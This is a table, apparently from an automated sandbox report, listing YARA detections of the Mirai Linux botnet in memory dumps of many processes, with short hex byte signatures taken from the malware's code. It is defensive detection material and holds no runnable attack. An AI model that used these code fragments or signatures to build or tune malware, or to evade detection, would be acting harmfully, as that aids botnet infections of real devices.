7298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7206.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7206.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7206.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7206.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7206.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7206.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7195.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6276.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6991.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6991.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6991.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6991.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6991.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6991.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7088.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7088.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7088.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7088.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7088.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7088.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7205.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7205.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7205.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7205.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7205.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7205.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6965.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6965.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6965.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6965.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6965.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6965.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6470.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6470.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6470.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6470.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6470.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6470.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7024.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7024.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7024.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7024.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7024.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7024.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6672.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6672.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6672.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6672.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6672.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6672.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7291.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7132.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7132.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7132.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7132.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7132.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7132.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6275.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6575.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6575.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6575.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6575.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6575.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6575.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6556.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6556.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6556.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6556.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6556.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6556.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6852.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6852.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6852.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6852.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6852.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6852.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6969.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6969.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6969.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6969.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6969.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6969.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6863.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6865.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6865.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6865.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6865.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6865.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6865.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7115.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7115.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7115.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7115.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7115.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7115.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7282.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7282.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6693.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6693.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6693.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6693.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6693.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6693.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7018.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7018.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7018.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7018.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7018.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7018.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6388.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6388.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
